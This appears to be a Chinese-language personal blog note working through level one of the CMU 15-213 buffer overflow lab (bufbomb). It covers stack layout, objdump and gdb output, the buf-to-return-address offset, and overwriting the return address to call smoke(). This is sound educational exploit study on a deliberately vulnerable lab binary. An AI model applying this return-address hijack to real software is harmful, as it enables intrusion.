CMU buffer overflow attack作業筆記

三年前線上課程看到的,現在有空筆記一下,這是CMU的計算機組織課程的作業(https://www.cs.cmu.edu/~213/index.html),應該是大二的課程。

作業可以在這邊載到(http://csapp.cs.cmu.edu/3e/labs.html)
須要在x86–64的機器上執行.  作業給了一個有buffer overflow問題的程式bomb跟其原始碼bomb.c,

依難度大概有下面幾個層級
1.函數返回時利用buffer overflow去呼叫另一個不帶參數函數
2.函數返回時利用buffer overflow去呼叫另一個帶參數函數
3.利用buffer overflow去修改全域變數
4.最難的是利用buffer overflow去執行一段自己插入的程式(機器碼),然後要正常返回呼叫函數。



預備知識:

首先,先看x86–64 架構有什麼registers ,這邊
%rip:instruction pointer,用來指到下一個instruction的位置. 
%rbp:Frame pointer,用來指到目前stack frame的開頭.
%rsp:stack pointer,用來指到目前stack的top,也是尾巴。


sourece: Carnegie Mellon 1 Assembly and Bomb Lab 15-213: Introduction to Computer 


x86的stack 是從高位往低位長的, 方向是rbp 往→ rsp ,caller呼叫函數時會把參數push(壓入)stack,接著呼叫函數,並把return的位址存在rbp+8的位置,接著把該含要用到的register值跟區域變數推入stack.

如下的程式Alpha呼叫Beta時,把引數23先推入stack,再呼叫Beta並先把返回位址推入stack.


題目一:函數返回時利用buffer overflow去呼叫另一個不帶參數函數

bomb程式有個函數test()會呼叫 getbuf() ,getbuf() 裡用到Gets()去取得使用者輸入,但沒做邊界檢查,當輸入長度超過buf[36]時會溢位,要利用這個漏洞,讓getbug返回時,不是回到test(),而是另一個函數smoke().  

要做的事就是計算出buf到return address的間距,把smoke的位址填到return address蓋掉原本test的位址。

程式片段如下:
/* $begin boom-c */
void test()
{
  unsigned long long val;
  volatile unsigned long long local = 0xdeadbeef;
  char* variable_length;
  entry_check(3);  /* Make sure entered this function properly */
  val = getbuf();
  if (val <= 40) {
        variable_length = alloca(val);
  }
  entry_check(3);
  /* Check for corrupted stack */
  if (local != 0xdeadbeef) {
        printf("Sabotaged!: the stack has been corrupted\n");
  }
  else if (val == cookie) {
        printf("Boom!: getbuf returned 0x%llx\n", val);
        if (local != 0xdeadbeef) {
          printf("Sabotaged!: the stack has been corrupted\n");
        }
        validate(3);
  }
  else {
        printf("Dud: getbuf returned 0x%llx\n", val);
  }
}

unsigned long long getbuf()
{
  char buf[36];
  volatile char* variable_length;
  int i;
  unsigned long long val = (unsigned long long)Gets(buf);
  variable_length = alloca((val % 40) < 36 ? 36 : val % 40);
  for(i = 0; i < 36; i++)
  {
        variable_length[i] = buf[i];
  }
  return val % 40;
}

/* $begin smoke-c */
void smoke()
{
  entry_check(0);  /* Make sure entered this function properly */
  printf("Smoke!: You called smoke()\n");
  validate(0);
  exit(0);
}


先用objdump -d bufbomb去反組譯查函數對定的位址,也可以用-t 去看就好。
00000000004010c0 :
  4010c0:       48 83 ec 08             sub    $0x8,%rsp
  4010c4:       bf 45 13 40 00          mov    $0x401345,%edi
  4010c9:       c7 05 dd 11 20 00 00    movl   $0x0,0x2011dd(%rip)        # 6022b0

0000000000400ed0 :
  400ed0:       55                      push   %rbp
  400ed1:       b9 ef be ad de          mov    $0xdeadbeef,%ecx
  400ed6:       31 c0                   xor    %eax,%eax
  400ed8:       48 89 e5                mov    %rsp,%rbp
  400edb:       53                      push   %rbx
  400edc:       48 83 ec 18             sub    $0x18,%rsp
  400ee0:       48 89 4d e8             mov    %rcx,-0x18(%rbp)
  400ee4:       c7 05 c2 13 20 00 03    movl   $0x3,0x2013c2(%rip)        # 6022b0
  400eeb:       00 00 00
  400eee:       e8 ad fe ff ff          callq  400da0
  400ef3:       48 83 f8 28             cmp    $0x28,%rax
 0000000000400da0 :
  400da0:       55                      push   %rbp
  400da1:       48 89 e5                mov    %rsp,%rbp
  400da4:       48 83 ec 30             sub    $0x30,%rsp
  400da8:       48 8d 7d d0             lea    -0x30(%rbp),%rdi
  400dac:       e8 ff fe ff ff          callq  400cb0

(其實從lea    -0x30(%rbp),%rdi 就可以看出buf到rbp的間距是48bytes了。

但我想利用gdb 去進一步看詳情
gdb bufbomb
GNU gdb (GDB) Fedora (7.4.50.20120120-54.fc17)
Copyright (C) 2012 Free Software Foundation, Inc.
This GDB was configured as "x86_64-redhat-linux-gnu".
For bug reporting instructions, please see:
Reading symbols from /home/auser/course-materials/lab3/bufbomb...done.
(gdb) b getbuf     //設定斷點在getbuf
Breakpoint 1 at 0x400da0: file bufbomb.c, line 132.
(gdb) r ./bufbomb -u 8257567 < exploit.bytes  //這個exploit.bytes先輸入一串1139 hex 
Breakpoint 1, getbuf () at bufbomb.c:132
132     {
Missing separate debuginfos, use: debuginfo-install glibc-2.15-59.fc17.x86_64
(gdb) disas   //到斷點時停下來 看一下我看完呼叫到Gets後情況
Dump of assembler code for function getbuf:
=> 0x0000000000400da0 <+0>:     push   %rbp
   0x0000000000400da1 <+1>:     mov    %rsp,%rbp
   0x0000000000400da4 <+4>:     sub    $0x30,%rsp
   0x0000000000400da8 <+8>:     lea    -0x30(%rbp),%rdi
   0x0000000000400dac <+12>:    callq  0x400cb0
   0x0000000000400db1 <+17>:    movabs $0xcccccccccccccccd,%rdx
=> (gdb) b *getbuf+17 重設斷點到getbuf+17處
 continue
Continuing.

Breakpoint 2, getbuf () at bufbomb.c:137
137       variable_length = alloca((val % 40) < 36 ? 36 : val % 40);
(gdb) info reg  // dump reg的情況這邊注意 rbp在0x7fffffffb3a0  
rax            0x7fffffffb370   140737488335728
rbx            0x3c0d7c17       1007516695
rcx            0x25     37
rdx            0x3677fb2af0     233941183216
rsi            0xa      10
rdi            0x3677fb1340     233941177152
rbp            0x7fffffffb3a0   0x7fffffffb3a0


最後這裡就很明顯了0x7fffffffb370 是buf的起始位置,我開始填入39 11這些數字, 0x7fffffffb3a0是rbp,而這0x00400ef3   是return address ,現在只要從0x7fffffffb370 把buf填爆,把0x00400ef3  改成0x04010c0,這樣程式就會呼叫到smoke了。

(gdb) x/50x 0x7fffffffb300
0x7fffffffb300: 0x77fb2ae0      0x00000036      0x77fb1340      0x00000036
0x7fffffffb310: 0xffffb370      0x00007fff      0x77c7860e      0x00000036
0x7fffffffb320: 0x77fb1340      0x00000036      0x77c73657      0x00000036
0x7fffffffb330: 0x3c0d7c17      0x00000000      0x00400d50      0x00000000
0x7fffffffb340: 0x3c0d7c17      0x00000000      0xffffb3a0      0x00007fff
0x7fffffffb350: 0x00607f80      0x00000000      0xffffe440      0x00007fff
0x7fffffffb360: 0x00000000      0x00000000      0x00400db1      0x00000000
0x7fffffffb370: 0x39393939      0x11113939      0x11111111      0x00000011
0x7fffffffb380: 0x00607f80      0x00000000      0x778148e5      0x00000036
0x7fffffffb390: 0x00002f20      0x00000000      0x77cba477      0x00000036
0x7fffffffb3a0: 0xffffb3d0      0x00007fff      0x00400ef3      0x00000000



$ ./sendstring < smoke.txt > exploit.bytes
$ ./bufbomb -u 8257567 < exploit.bytes

下面是最後的結果。
-bash-4.2$ ./bufbomb -u 8257567 < exploit.byte
Username: 8257567
Type string: Smoke!: You called smoke()


Reference:

留言

這個網誌中的熱門文章

Raspberry Pi (ARMv6)上自幹一個微小作業系統

Linux VLAN 筆記

C語言,大數運算,階層筆記